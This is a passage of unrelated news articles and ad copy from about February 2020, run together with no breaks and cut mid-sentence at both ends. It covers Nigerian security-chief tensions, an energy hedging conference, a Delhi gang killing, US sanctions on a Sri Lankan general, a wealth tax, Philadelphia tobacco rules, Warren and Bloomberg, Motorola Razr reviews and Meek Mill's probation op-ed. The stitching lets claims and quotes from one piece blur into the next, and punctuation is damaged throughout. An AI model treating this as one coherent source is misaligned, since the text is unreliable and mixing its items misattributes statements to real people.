to President Muhammadu Buhari and other members of national security framework, informing them of how Mr Kyaris undue and dangerous meddlesomeness was frustrating efforts to address Nigerias acute insecurity. Two of the NSAs series of confidential circulars have now been obtained and published by PREMIUM TIMES earlier this week, sparking nationwide uproar and fresh calls for Mr Buhari to take charge of his government and abandon his arcane delegation of powers to close aides. The Chief of Staff to President Muhammadu Buhari, Abba Kyari. [PHOTO CREDIT: Daily Post Nigeria] The published memos, both dated December 9 2019, contained Mr Mongunos frustration with how Mr Kyari has been overriding key security decisions taken by the president. In some cases, the NSA said, Mr Kyari would summon security chiefs for meetings, a power he has no constitutional backing to wield. Security sources told PREMIUM TIMES Mr Kyari has been the top State House official pushing for continued stay of service chiefs despite relentless calls for the president to remove them as security has worsened under their watch. The service chiefs, which comprise the chief of army staff, chief of naval staff, chief of air staff and the chief of defence staff, were appointed shortly after Mr Buhari assumed office in 2015. They were all senior military officers nearing retirement at the time they were appointed in July 2015. READ ALSO: But when they were due for retirement after two years in July 2017, the president asked them to remain in office for another six months, a decision that caused many in the military to grumble about their uncertain career progression. When the six months tenure elongation elapsed in December 2017, Mr Buhari again extended the tenure of the service chiefs, commending them for a great service and citing the need to maintain existing approach to tackling insecurity, especially the ongoing war against Boko Haram. The president has continued to renew the tenure of the service chiefs, mostly biannually and sometimes without an official statement. The service chiefs now seem to believe they have been retained in office at the benevolence of the presidents chief of staff and not the president himself, said security and political analyst Sola Olubanjo. There is a serious danger in such a mindset. Mr Olubanjo said the hostility between the NSA and the chief of staff has already started throwing up issues whose implications may be too costly for the country. If it is true that we already have a situation in which military officers are unable to obey the chief of army staff because the NSA asked them not to, then we might not be able to comprehend where the country is headed, the analyst added. Ken Eluma Asogwa, a legal practitioner who chaired a political action committee that backed Mr Buhari at the last election, said it was bad enough that Mr Buratai ordered withdrawal of security chiefs from the ONSA. I am not privy to the information, but I know PREMIUM TIMES is credible enough and I will say that I am disappointed that we have this kind of situation, Mr Eluma Asogwa said. It is bad enough that the chief of army staff ordered withdrawal of personnel from ONSA and even more unspeakable that they were unable to obey his directive. The analyst said Mr Buhari cannot afford to keep tolerating disastrous developments in his national security framework without mitigating them, especially at this time of national emergency on security. The NSA is the one who would be advising the president on security matters, either intelligence, training or exercise, and not the chief of staff, he said. The president should take charge now. [February 21, 2020] Energy/Electricity Hedging, Trading, and Commodity Markets (Houston, United States - April 23-24, 2020) - ResearchAndMarkets.com The "Energy/Electricity Hedging, Trading, and Commodity Markets" conference has been added to ResearchAndMarkets.com's offering. This proven program is for energy and electric power professionals who are looking for a comprehensive and clearly explained understanding of natural gas, oil and electricity financial instruments, the markets they trade in, and how these powerful tools can be used to manage risk and structure profitable transactions. What You Will Learn How to use futures contracts, options, swaps, trigger deals, The Master Energy Hedging Equation and other techniques to create customized risk management solutions to protect your company from natural gas, oil and electricity price risk, basis & LMP risk, delivery risk and volumetric risk. How physical and cash-settled futures contracts, over-the-counter energy swaps, and physical forward contracts are traded and the purposes served by these markets. How the ICE and CME-NYMEX futures exchanges and electronic marketplaces function, and what the differences are between ICE OTC, ICE Futures, CME Globex, CME Clearport Services and The Nodal Exchange. How "cash margining" is done with a futures exchange, its cash management impact and the role of the Clearinghouse. What the differences are between a futures commission merchant, over-the-counter broker, trader, market-maker, power marketer and wholesale energy merchant. What basis risk is, and how basis, spread, LMP, and delivery risks can blow up your energy and electricity hedges. Why Trigger Deals are so popular, and what the difference is between the financial and physical basis. How to structure profitable energy, electric power, and petroleum transactions without exposure to price risk; and how to financially turn one commodity into another. How to make money by buying valuable energy options from your customers and suppliers, and how your company may be missing a significant financial opportunity. Why "extendible" deals can be profitable, and how energy trading floors "trade around assets." What the terms "Contango" and "Backwardation" mean. Agenda: DAY ONE Overview of the three different energy & electric power forward markets, terminology, the purposes served by these markets, price & spread hedgers and the basics of energy and electricity physical transactions. The differences between futures commission merchants, over-the-counter brokers, traders, market-makers, and energy/power marketers. The four different methods used to manage energy and electricity price, basis, spread, delivery, operational, and volumetric risks. The dangers of liquidity risk, and when it can blow up a company. What physically-settled energy futures contracts are; why only 1% of physical energy futures go to physical delivery and what the difference is between a physically-settled energy future contract and a physical forward contract. How the CME and ICE futures exchanges are structured and the role of the CME and Ice Clear Clearinghouses. How physically-settled and cash-setled energy futures contracts trade electronically on CME Globex and ICE Futures. The broker account maintenance, margin deposit, cash management and funding risk issues associated with clearing a financial or physical energy transaction through the CME, Ice Clear or Nodal Exchange Clearinghouses. LUNCH How buyers and sellers hedge natural gas, crude oil, heating oil and gasoline price risk with CME physically-settled futures contracts. The political risks of hedging and the factors that can weaken the effectiveness of a futures hedge. How Active Hedging, Dynamic Hedging and Hedgulation can hurt your company's hedging program. What the difference is between the locational basis and a locational price spread. The five different ways the term basis is used in the energy markets. How the Master Energy Hedging Equation is defined, and what its implications are. What basis risk is, and how it can destroy your futures hedges. Two examples of natural gas basis blowout and how it relates to LMP spread risk in ISO electricity markets. The difference between a commodity swap, contract-for-differences, cash-settled futures contract and cash-settled swap futures contract. The definition and use of common energy/electricity cash-settled financial instruments including fixed-for-floating, penultimate, exchange-indexed, basis, index, swing, dart, outright swap, and cash-settled futures products. How buyers and sellers use cash-settled futures contracts and swaps to hedge natural gas, oil and electricity price, basis, spread, and LMP risk. How buyers and sellers can use cash-settled financial instruments to turn natural gas into virtual oil or virtual electricity (And vice-versa); Day Ahead LMP into Real-Time LMP; An average of daily prices into a fixed or monthly index price; and many other forms of slicing & dicing. An overview of how the ICE OTC energy & electricity trading platform works. What the differences are between ICE OTC, ICE Futures, CME Globex, CME Clearport Services CME Direct and The Nodal Exchange. Where to find the four different Master Sales & Purchase Agreement templates which contain the standard industry bilateral contract language for physical & financial natural gas and electric power transactions. How basis & spread swaps work; and how these swaps relate to cash-settled futures contracts. The difference between the financial and physical locational basis. What a trigger deal is, and why it is economically and politically efficient. Why so many energy industry buyers and sellers outsource the execution of their hedges and risk management solutions. How the Master Energy Hedging Equation is a simple and powerful way to quickly understand many different types of energy transactions and to quickly convert one form of transaction into another. How the Master Energy Hedging Equation underlies the structure of a firm's energy trading books. The basics of the Value-at-Risk calculation, and why to be careful. Additional Electricity Material. How heat-rate-linked power transactions can convert natural gas futures, options, and swaps into electric power financial instruments which can then be used to hedge electricity risks or to structure profitable power deals. DAY TWO Puts, Calls, extrinsic value and other energy option terminology and concepts. The difference between exchange-traded, over-the-counter and physical energy/electricity options. What American, European and Asian style options are. Why one should rarely exercise an option before its expiration date. Mean reversion & price jumps--Why the Black and Black-Scholes option pricing models may not accurately price energy and electricity options. The services often used to price energy options. The methodology used to calculate annualized volatility for the energy markets. The important implications of high energy price volatility Why trading energy and electricity is different from the trading equities, bonds, and other commodities. The many different types of energy and electricity trading. Why traders specialize, and the different ways energy traders can get an "edge" on the competition. How the many types of energy & electricity trading can be summarized by one simple three-dimensional graph and The Master Energy Trading Equation. Why many traders trade the basis" or price spreads, and how it works. Why merchant energy and electric power assets are valuable Call options on spreads. What asset optionality means. What the terms "Contango" and "Backwardation" mean, and how the energy carry trade works. Why having ownership or contractual control of physical energy assets gives a significant advantage to a trading company. What "trading around assets" means Why a merchant fossil fuel generating plant is a call option on the spot spark spread. A simple rule that will optimize your daily decisions on whether to use or idle a merchant electric generator, storage facility or transportation asset. What a tolling deal is. What structured transactions are, and why they can be a win/win for all parties involved. How energy and power marketers make money by buying valuable energy options from their customers and suppliers, and how your company may be missing a significant financial opportunity. What "extendible" deals are, and why they are so profitable for energy marketing companies. SNACK AT 11:30 will be provided. How to create price caps, price floors and no-cost collars with energy options. What the option Greeks are, and the basic concept of delta hedging. The basics of the valuable put-call option parity equation. Four common synthetic option positions, and why it is valuable to know them. Speakers: John Adamiak President PGS Energy Training For more information about this conference visit https://www.researchandmarkets.com/r/kpffx7 View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005273/en/ [ Back To TMCnet.com's Homepage ] A war which was long standing in the outer area of Delhi Majra Dabas Village just ended in a brutal murder of Pawan Anchill Thakur. He was shot with bullets, while he was travelling in his car which was a SUV near Ladpur Village in the outer Delhi area on Wednesday. Two members are identified who are a part of the Deepak Titri gang under involvement in this murder. Representative image - pixabay The area where Thakur was shot doesn't have CCTV coverage. The killers interrupted Thakur in an i20 car and fired 48 rounds, 26 of which hit him. According to a resident of Majra Dabas Village, Thakur allegedly shot a Titri associate last year and was jailed for the same. However, he got bail in January. According to police, Thakur has gone to Ladpur Village to meet someone. On his way back to his village, while he was taking a U-turn, the killers rushed towards him. Police are under a suspicion that Thakur might have tried to fire against them but was hit by several rounds. The criminals ran away towards Haryana border after the murder. Police also said that the car used in the crime was also stolen. Representative image - pixabay Thakurs body was sent for autopsy at Sanjay Gandhi Hospital. The body was then handed over to the family on Thursday. Police said that it took three doctors to remove the bullets from his body, an x-ray was also concluded to identify the bullets. According to sources, Thakur has aligned himself with the Tillu gang after he struck a rivalry with the Titri gang, who are suspected to be associated with Gogi. The role of Gogi associates in this murder has not been ruled out as Gogi has similarities with the murder which he had committed earlier. As per senior officials, the gang wars which flared up in the early 1990s with rival groups trying to control land, got low-spirited after a series of arrests by Delhi Police. However, this paved way for the new ones to arrive. The gang lord offers protection to the landowner for the share in the real estate. The sources also suggest that the gangs have started hiring contract killers for settling the disputes, since this would keep them off the hook. The killers are none other than the members of the old groups which operated in the 1990s to early 2000's who are seeking an opportunity take revenge. 'Clearly, Washington has all but given up hope following US Acting Assistant Secretary of State Alice Wells's stormy visit to Colombo last month where she read the riot act to Sri Lankan leaders to sign the pending status of forces agreement allowing American troops to use Sri Lanka as a hub for operations in the Indian Ocean,' points out Ambassador M K Bhadrakumar. IMAGE: Lieutenant General Shavendra Silva headed the Sri Lankan army's 58th division in the final battle against the Liberation Tigers of Tamil Eelam in the final stages of the civil war in 2009. Photograph: Reuters What cannot be lost sight of is that the 'public designation' of the Sri Lankan army chief and acting chief of defence staff Lieutenant General Shavendra Silva for war crimes by the US state department on February 14 (external link) actually happened the day after the UN security council held a debate in New York where, inter alia, the reconciliation process in Sri Lanka was in focus. The debate itself was initiated by Belgium which currently holds the presidency of the security council, and was patently a Western initiative. Sri Lanka was in focus alongside South Africa, Sudan, Colombia, Myanmar, Syria, etc amongst others, as regards their transitional justice process in conflict situations. The security council debate was, in fact, chaired by the Belgian foreign minister, marking the high importance attached to the initiative. Equally, the debate took place in a pre-arranged setting. UN High Commissioner for Human Rights Michelle Bachelet, President, Commission for the Clarification of Truth, Coexistence and non-repetition of Colombia Father Francisco de Roux, and the executive director of the Foundation for Human Rights in South Africa, Trustee of the Desmond Tutu Peace Centre and Chair of the Commission on Human Rights in South Sudan Yasmin Sooka provided briefings at the commencement of the debate. More than 60 speakers shared national experiences with truth commissions and other reconciliation instruments. Unsurprisingly, Russia expressed disquiet over interference in the internal affairs of any weakened State, stressing that 'The United Nations should not dictate, but should instead encourage and complement national initiatives.' China took a similar stand, saying transitional justice should be taken forward in the arena of peace-building, respecting the sovereignty and territorial integrity of States and refraining from intervening with a State's internal affairs. Both Russia and China suggested that helping States should include enhancing capacity-building and no model should be imposed from outside. Significantly, India, which took part in the debate, regretted that involving external actors in the internal or quasi-internal conflicts of States has become more frequent, involving levels of coercion, and too often, the international community adopts a technocratic, one-size-fits-all approach that can be damaging, with transitional justice becoming steeped in Western liberalism and frequently appearing distant or remote to those who actually need it most. India pointed out that there is also a perception that transitional justice mechanisms have been providing a form of ideological obfuscation that is intended to divert attention away from those who benefited, and sometimes still benefit, from and in the system. For instance, historical injustices inherent to colonialism are rarely the focus on transitional justice. India forewarned that if transitional justice is conceived merely as a "Band-Aid" that can be applied to past harms during some unspecified and limited period of "transition", it is unlikely there will be a transformational capacity. It stressed that reconciliation is an arduous process, and transitional justice mechanisms must contribute effectively to the will of local actors to shape their own destiny. Without doubt, India took an exceptionally forceful stance that blasted the Western agenda to develop 'transitional justice' as yet another tool to interfere in the internal affairs of developing countries. Colombo would have taken note. Of course, Sri Lanka did not figure for specific reference/criticism in the security council debate. However, for Washington, it created sufficient enough synergy for the act that followed the next day -- the 'public designation' of General Silva. In effect, the Sri Lankan Tamil file has been transferred from Geneva to New York/Washington. Colombo apparently expected this to happen, considering its swift rejoinder to the US move (here (external link) and here (external link). Meanwhile, the statement by Sri Lankan Ambassador to the UN Kshenuka Senewiratne exuded confidence that Colombo is confident that the American plan to bully the Rajapaksa government won't fly. The ambassador stressed that it is the sovereign prerogative of the Sri Lankan State to 'pursue truth, justice, reparations and guarantees of non-recurrence' keeping in mind the 'various historical, cultural and religious sensitivities.' The ambassador firmly put on record that as a sovereign State, Sri Lanka will 'continue to establish its own priorities... to chart our own path to reconciliation in order for it to be sustainable' and is committed 'to find innovative and pragmatic solutions driven by the domestic context to protect the country's national interest guided by the provisions of the constitution, and the will of the citizens expressed through democratic means.' The bottom line is that aside some 'capacity building and technical assistance in mutually agreed areas' -- and that too, 'in keeping with domestic priorities and policies' -- Colombo will handle the transitional justice its own way. IMAGE: Sri Lankan Foreign Minister Dinesh Gunawardena, centre, conveys the Sri Lankan government's displeasure and objections to the US government over the travel restrictions imposed on Sri Lankan army commander Lieutenant General Shavendra Silva and his family at a meeting with US Ambassador Alaina Teplitz. Photograph: Kind courtesy Sri Lankan Foreign Minister Dinesh Gunawardena/Twitter The US move against General Silva is an act of sophistry. For, in the chain of command during the last phase of the LTTE war, everything began and ended with the then defence secretary (and today's President) Gotabaya Rajapaksa. Evidently, the 'public designation' for General Silva, a close confidante of Gotabaya, carries a message for the Sri Lankan leadership. The 'public designation' as such means nothing -- the army chief or his family members cannot travel to the US. Big deal. But then, like in India, Sri Lankan elites too are besotted by the green card and the 'Westernists' in Colombo are already scaremongering. Clearly, Washington has all but given up hope following the stormy visit by Alice Wells, US acting assistant secretary, and Lisa Curtis, top US national security council hand for the region, to Colombo last month where they read the riot act to the Sri Lankan leaders to fall in line with the Indo-Pacific strategy against China by signing the pending status of forces agreement allowing American troops to use Sri Lanka as a 'hub' for operations in the Indian Ocean. The support from China and Russia helps Colombo to push back at American bullying. But the fact remains that the US is weaponising sanctions in the South Asian region to beef up the Indo-Pacific strategy. There are serious implications. The animated chats on social networking sites shows that Washington's grandstanding against Sinhala elites panders to Tamil sub-nationalism. And this is happening at a time when the Tamil leadership is no longer quite in the Indian orbit as was the case historically. The Tamil leadership worked as American agents in the regime change project to overthrow the then 'pro-China' president Mahinda Rajapaksa in 2015. India did its bit too to forge such an alliance, although Americans have a rich history of finessing templates such as sub-nationalism, jihadism, etc as geopolitical tools. Delhi should be wary. All this is playing out when Dravida politics is in great flux (external link) in Tamil Nadu. Alas, there isn't much awareness among our political elite about the US-Tamil nexus. Delhi's approach to harmonise with the Indo-Pacific strategy to pressure China is fraught with medium term risks in the Sri Lankan context -- although many Indians foolishly fancy that they are 'natural allies' of the US. Ambassador M K Bhadrakumar served the Indian Foreign Service officer for more than 29 years. He has served as India's ambassador to Turkey and Uzbekistan and has been a contributor to Rediff.com for well over a decade. MoneyTV with Donald Baillargeon television program, Copyright MMXX, all rights reserved. MoneyTV does not provide an analysis of companies' financial positions and is not soliciting to purchase or sell securities of the companies, nor are we offering a recommendation of featured companies or their stocks. Information discussed herein has been provided by the companies and should be verified independently with the companies and a securities analyst. MoneyTV provides companies a 3 to 4 month corporate profile with multiple appearances for a cash fee of $6,950.00 to $11,995.00, does not accept company stock as payment for services, does not hold any positions, options or warrants in featured companies. The information herein is not an endorsement by Donald Baillargeon, the producer, publisher or parent company of MoneyTV. Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. The British politician John Major once said, The first requirement of politics is not intellect or stamina but patience. And, with the Iowa caucuses still fresh in peoples minds, it might be a good time to remind ourselves of the many merits of patience. Here are five research-backed reasons why we should do our best to stay calm in the face of election uncertainty. Mischel and his team first experimented with the Marshmallow Test in the early 1970s. Interestingly, they followed up with the same children years later and found that children who waited for the reward tended to have better life outcomes, such as higher SAT scores, healthier body mass indexes, and higher educational attainment. #3. Getting it right is more important than getting it fast. Once the rumor mill starts turning, its almost impossible to shut down. A new study published in the journal Psychological Science underscores the perils of rumor-spreading in the age of social media. In this study, psychologists asked a group of people to evaluate a series of news headlines that they were told were fake. Participants were then asked how likely they would be to share these news stories on social media. The catch was this: some of the headlines were new while others were headlines they had seen earlier in the experiment. The researchers found that participants rated the previously seen headlines as more ethical, and more sharable, than the new headlines. In other words, prior exposure to information acted to legitimize its contents, even when the contents were known to be untrue. Read the whole story: Forbes Late last month, Mr. Zucman and Mr. Saez discussed their work from their university offices in Berkeley, with billion-dollar views of the San Francisco financial district in the background. They acknowledged their critics and the uncertainties involved in their research, which attempts to assemble a picture of Americas wealth distribution that is essentially invisible in standard economic data. But they defended their methods and conclusions, and said they were not surprised that the wealth tax, which polling shows is popular even with a majority of Republicans, had captured the imagination of candidates and voters. Clearly its been central to the campaign, Mr. Zucman said, citing voter dissatisfaction with the levels of inequality in America. But he added: Let me be very clear that the wealth tax is not going to solve all these problems. Its part of the solution. Both Mr. Saez and Mr. Zucman have built their careers studying the rise of inequality and its intersections with tax policy. In 2009, Mr. Saez won the John Bates Clark Medal for leading what the American Economic Association called a remarkable resurgence of interest in tax policy research over the last decade. Mr. Zucman began his doctoral studies in economics that year. The son of two doctors in Paris, he wrote his masters thesis on the effects of Frances wealth tax on the migration of high earners and spent the fall of 2008 interning at a Parisian financial firm. Lehman Brothers, the investment bank, collapsed on his first day, and he found himself explaining the macroeconomic dynamics of a financial crisis to panicked traders. It helped inspire him to pursue a doctorate in economics. Mr. Zucman eventually made his way to Berkeley, where he teamed up with Mr. Saez, who, along with another French economist, Thomas Piketty, was producing pioneering research that documented the rising share of income earned by the very richest Americans in recent decades. Mr. Saez and Mr. Zucman, building on that data, showed that wealth had grown more concentrated as well. FILE - This Aug. 28, 2017 file photo shows cigarettes displayed on a store shelf in New York. With a new law enacted in December 2019, anyone under 21 can no longer legally buy cigarettes, cigars or any other tobacco products in the U.S. It also applies to electronic cigarettes and vaping products that heat a liquid containing nicotine. (AP Photo/Mark Lennihan, File) Read more Three years after new tobacco license regulations went into effect, the density of tobacco retailers in Philadelphia has been reduced by 20%, according to a new study by the Philadelphia Department of Public Health. That amounts to 659 fewer licensed tobacco retailers in Philadelphia, a city that has had the highest density of tobacco sellers compared with other major U.S. cities, according to the study, published Thursday in the American Journal of Public Health. This is impressive and incredibly important for Philadelphias health, especially for low-income neighborhoods that are disproportionately affected from tobacco being everywhere, said study lead author Hannah Lawman, the health departments director of research and evaluation for the division of chronic disease and injury prevention. The regulations were intended to reduce tobacco use and to discourage children from picking up the habit or at least make tobacco products less accessible to youngsters. They were adopted in 2016 and went into effect in 2017. Children on their way to school should not be bombarded with advertisements enticing them to start smoking, city Health Commissioner Thomas A. Farley said when the new rules were adopted. The regulations limited tobacco-selling permits to one retailer per 1,000 residents. At the time, the citys overall tobacco retailer density was more than twice that, and even higher in many low-income neighborhoods. READ MORE: What is vaping and nicotine doing to kids' brains? In addition, the rules created smoke-free zones that prohibit new tobacco retailers within 500 feet of school properties; increased the city licensing fee from $50 to $300 to fund the compliance program; and established the loss of tobacco sales privileges for repeated youth sales violations. Three years after implementation, an estimated 84,300 youths from over 200 schools in Philadelphia benefited from a reduction in tobacco retailers near their schools, including more than 10,500 youths who had their school zone exposure drop to zero, the article states. READ MORE: Pennsylvania sues vaping giant Juul According to the study, the citywide retailer density went from nearly 2 sellers per 1,000 residents in 2016 to 1.6 in 2019. In low-income neighborhoods, the rate dropped from 2.8 per 1,000 residents in 2016 to 2.2 in 2019. In more affluent areas, the rate decreased from 1.4 per 1,000 residents in 2016 to 1.2 per 1,000 in 2019. The researchers studied data from more than 23,000 tobacco permits over eight years to assess the impact of the regulations. Last month, city health officials announced their biggest crackdown so far on businesses selling tobacco products to children under age 18. In that enforcement action, 149 businesses will be barred from renewing their tobacco sales permits this year. The shops had been caught selling tobacco products to minors between three and seven times in two years, said city officials. Some business owners, including members of a local 7-Eleven franchise owners group, have been critical of the regulations, arguing they hurt small business owners who dont sell tobacco to kids and limit their ability to sell their businesses. Philadelphia has the highest level of tobacco use of the 10 largest U.S. cities, and each year, smoking is responsible for over 3,500 deaths here, more than guns and opioids combined, say city officials. Adults in Philly are more likely to smoke cigarettes than other Americans at least 18% vs. 14% overall, according to city health data, and 17% of Phillys young adults ages 18 to 34 use e-products. Philly high school students have reported a huge drop in cigarette use 2% reported smoking cigarettes in the prior 30 days in 2019 compared with 23% in 1999. But other forms of tobacco use are going strong, with 7% of local youth reporting using e-products and 4% using cigars, smokeless, and other tobacco products, according to the 2019 Youth Risk Behavior Survey data. Sen. Elizabeth Warren is ramping up the pressure against former New York City Mayor Mike Bloomberg, whom she urged during Wednesday nights Democratic presidential debate to release women from non-disclosure agreements so they can publicly share their accusations of sexual harassment and discrimination against his company. On Thursday night, the Massachusetts Democrat tweeted that Bloomberg could do so easily, and she even provided a screenshot of a simple and straightforward legal document enabling women to speak out without fear of recourse from Bloomberg or his company. Mike Bloomberg can easily release the women who have accused him of sexual harassmentand who voluntarily want to speak about their experiencesfrom their non-disclosure agreements. Take a look at how simple and straightforward it would be: pic.twitter.com/XLncEnSXDF Elizabeth Warren (@ewarren) February 21, 2020 Politico reported that Warren taunted Bloomberg and carried the document as she walked onto a Las Vegas stage in a CNN town hall on Thursday night. So, Ive brought something with me today, she said. This is an election for president of the United States, and transparency here is important. So, I used to teach contract law, and I thought I would make this easy." Warren said she wrote up a "release and covenant not to sue, and all that Mayor Bloomberg has to do is download it Ill text it sign it, and then the women, or men, will be free to speak and tell their own stories. On Wednesday night, Bloomberg said his company had signed very few nondisclosure agreements with employees who had wanted to keep quiet. But Warren pounced on the question of how many NDAs there might be. Bloomberg, who is skipping the first four states and focused on the 14 Super Tuesday states, noted the agreements were all made consensually and added that none of them accused him of misconduct besides maybe they didnt like a joke I told. Warren during the town hall said she would support any of the Democratic nominees against President Donald Trump, but she argued Bloomberg should be disqualified for not removing gags on men and women who sued his company, Politico reported. Bloomberg has risen in several national polls that put him in the top tier of candidates including Sen. Bernie Sanders, who is coming off a primary win in New Hampshire. Related Content: The views expressed by public comments are not those of this company or its affiliated companies. Please note by clicking on "Post" you acknowledge that you have read the TERMS OF USE and the comment you are posting is in compliance with such terms. Your comments may be used on air. Be polite. Inappropriate posts or posts containing offsite links, images, GIFs, inappropriate language, or memes may be removed by the moderator. Job listings and similar posts are likely automated SPAM messages from Facebook and are not placed by WFMZ-TV. Over the last decade Eyal Weizman and his colleagues within the London-based investigative group Forensic Architecture have examined violent occurrences around the world, often using video and architectural rendering software in efforts to parse confusing and often murky political and corporate events. Last week Mr. Weizman confronted an unexpected mystery when he was informed by email that his right to travel to the United States under a visa waiver program had been revoked. The next day, on Feb. 14, he went to the U.S. Embassy in London to apply for a visa, but, he said, an official told him, without elaboration that an algorithm had identified a security threat that was related to him. Mr. Weizman, who holds British and Israeli passports, had hoped to attend the opening of an art exhibition Wednesday night at Miami Dade Colleges Museum of Art and Design. Called True to Scale, it is a survey of Forensic Architectures work. Mr. Weizman said by email on Wednesday that he has visited the United States dozens of times, most recently in December 2019. He said that the embassy official had told him that the threat that surfaced could be related to something he was involved in, people he had been in contact with, places he had visited, hotels at which he had stayed, or a pattern of relations among those. Reach key decision makers with sales-ready leads that shorten your sales process. Move the needle by delivering funnel qualified leads to your sales team. Learn more Motorolas new foldable Razr phone has been garnering mediocre notices from early reviewers. If this phone didnt fold in half, it would be a solid mid-tier Android phone, Patrick Holland wrote for Cnet. Even harsher was Adam Ismails verdict in Toms Guide: Between the Razrs questionable build quality, underwhelming performance, middling camera and awful battery life, the folding gimmick neat though it may be isnt enough to save this device. Most reviewers found the Razrs performance underwhelming for a phone priced at US$1,500. To get it so thin, and for it to be able to work without overheating, the company made too many compromises on performance, Sascha Segan wrote for PCMag. Everything here is subordinate to the design, he added, resulting in a phone that looks and feels like a $1,500 statement piece, but sure doesnt perform like one. Although the Razr wasnt as peppy as he would have liked it to be, Motorola found a good power-to-performance ratio with the Razr, Cnets Holland maintained. A Phone With Personality Despite its deficiencies, Holland said, the Razr has something most phones these days lack: personality. And as Jules says in Pulp Fiction, Personality goes a long way,' he wrote. The Razr feels more personal than any phone Ive used. Personality can go a long way in the smartphone market, agreed Bob ODonnell, chief analyst at Technalysis Research, a technology market research and consulting firm in Foster City, California. Weve reached an era where phones are incredibly personal. Thats why I think youre going to find a bunch of people who like the Razr. Its radically different from all the other phones that are out there, he told TechNewsWorld. A D V E R T I S E M E N T In an era when people like to reflect their personality in their phones, this phone does that, ODonnell added. Nagging Durability Issue Although Motorola has assured the public that it thoroughly tested the Razrs durability, doubts remain. Are these things going to last three years like people expect them to? asked Frank E. Gillett, principal analyst at Forrester Research, a market research company headquartered in Cambridge, Massachusetts. The target audience seems small to me people who value a tiny phone in their pocket above all else, he told TechNewsWorld. The only way to know is to use it for months on end, Holland acknowledged. The best evaluation of the phones durability will come once it has been in the hands of consumers for a significant time, said Kevin Krewell, principal analyst at Tirias Research, a high-tech research and advisory firm based in Phoenix, Arizona. The mechanical repetitious testing of the phone does indicate some care should be taken with it, he told TechNewsWorld. I expect it is more fragile than most phones, but there are people excited by the new form factor that are willing to take a chance on it. Undersized Battery The Razrs battery life disappointed reviewers. For a phone its size, the battery is on the small side. Ultimately, the Motorola Razr battery size means it has a lower potential maximum battery life compared to other phones, regardless of how you use it, Nirave Gondhia wrote for Android Central. Although he could get through most of day on a single charge, Holland noted, he had to plug in around dinner time. A D V E R T I S E M E N T PCMags Segan got six hours, 54 minutes, of video playback time on his review unit. More scarily, though, other applications consumed more energy than the video player, he added. Thirty minutes of playing Asphalt 8 hit the battery by 10 percent, working out to just five hours of gaming on a charge. Quacking Noise Reviewers also were annoyed by the noise made by opening and closing the phone. How bad is this sound? Holland asked in his review. Its not record skip loud, but its not great either. If I bought this phone, Id think something was wrong and want to swap it. Segan performed his own durability tests on the Razr, opening and closing it 1,000 times without damage. But after a mere 200 flips and to this moment the phone now makes a loud creaking noise when its opened or closed, he wrote. It didnt do that at the start; it opened and closed quietly and smoothly. Now it practically quacks, to the point that I want to get out some WD-40. Screen Divot While reviewers raved over the engineering behind Razrs flexible display, the screen itself received mixed assessments. The Razrs display quality is good, Holland wrote. Colors pop nicely and the contrast is crisp without looking overly sharp. According to Android Centrals Gondhia, the Razrs display lacks the punchiness or peak brightness of a Samsung phone, and opts for a more neutral profile vs. vividly displaying colors like other displays. Toms Guides Ismail knocked the screens brightness. At a peak brightness of just 386 nits, the Razrs screen is far too dim compared to leading flagships from Apple and Samsung, which routinely achieve nearly twice that these days, he wrote. Motorola says bumps and lumps are normal, and youll certainly feel them when scrolling, Ismail added. Our unit has a circular depression right in the center of the top half, and whenever I ran my index finger over that divot, it was never a great feeling. Camera Criticized The 16 megapixel, f/1.7 camera in the Razr was another sore point for reviewers. Photos taken in good light are sharp with impressive contrast. But as soon as youre in medium-to-low light things start to fall apart, Holland wrote. Without optical image stabilization, the Razr compensates with a longer shutter speed, which leads to motion blur, he continued. Video is there. Its fine. No one will be making a film for Netflix with the Razr. Segan described photos he shot with the Razr as soft and indistinct enlarged versions of lower-resolution pix taken with a Pixel 4 or iPhone 11. As the light goes down, he wrote, the Razrs performance declines further, with photos getting dim and noisy. Ultimately, I felt like I was taking pictures with a $250 phone, not a $1,500 one. Foldable Wave Coming Shortcomings aside, the Razr is breaking new ground for the smartphone market. I believe that the Razr is helping to open the way for foldable devices that previous efforts largely failed to do, said Charles King, principal analyst atPund-IT, a technology advisory firm in Hayward, California. However, the Razrs use of older components could hurt it in the very near future, as Samsung readies to launch its own flip phone, the Z Flip. Unless a substantially upgraded Razr is in the works, the Z Flips introduction is likely to present significant challenges to Motorola, King told TechNewsWorld. Meanwhile, consumers can expect more foldables in their future. Foldables will eventually become mainstream, Technalysis ODonnell predicted. They will be what most people will have, because people are looking for larger screens in smaller physical spaces, and the only way to do that is with a foldable display, he said. Folding form factors and dual screens are hot design innovations, noted Tirias Krewell, for not just phones, but for PCs this year, too. State Rep. Jordan Harris is applauded during a press conference on legislation aimed at reforming the Pennsylvania probation and parole system at Thomas Paine Plaza Tuesday, April 2, 2019. The press conference included Meek Mill along with author and CNN host Van Jones, advocates and members of the REFORM Alliance, and state representatives and legislatures. Read more I believe in the power of second chances. In 2004, I was sent to prison, where I would spend the next 10 years of my life, four of them in solitary confinement. As part of my sentence, I was ordered to serve five years on probation following incarceration. Earlier this month, after 15 years under the control of the criminal justice system, I finally earned my freedom. Let me be clear: I take full responsibility for my actions and recognize that what I did was unequivocally wrong. But if my time in prison and under supervision showed me anything, its that we must draw a line through what is a fair punishment. And our current criminal justice system is not fair. That's why I'm calling on Pennsylvania to implement reforms to its probation system immediately. Our system is designed to fail. Its ineffective and costly, and accomplishes little in deterring crime. Instead of receiving support or incentives for good behavior, thousands of Pennsylvanians are in jail every day because of supervision violations over minor parole violations that have no impact on public safety. Writing people up for minor infractions like missing an appointment or returning home late forces them to start their progress all over again, essentially trapping them in the system for far longer than necessary. This revolving door has devastating impacts on our communities, families, and overworked probation officers, and costs taxpayers hundreds of millions of dollars every year. I witnessed this revolving door firsthand. My transition back into society after prison was rocky, and the probation system did not provide me with the tools I needed to become a productive citizen and be there for my kids. I lived in constant fear that if something happened to one of my children at college in New York, leaving the state to deal with an emergency would send me back behind bars. Over the past five years, every time my phone rang, I was certain it was bringing the news that I was headed back to prison. Thats how it is for thousands of 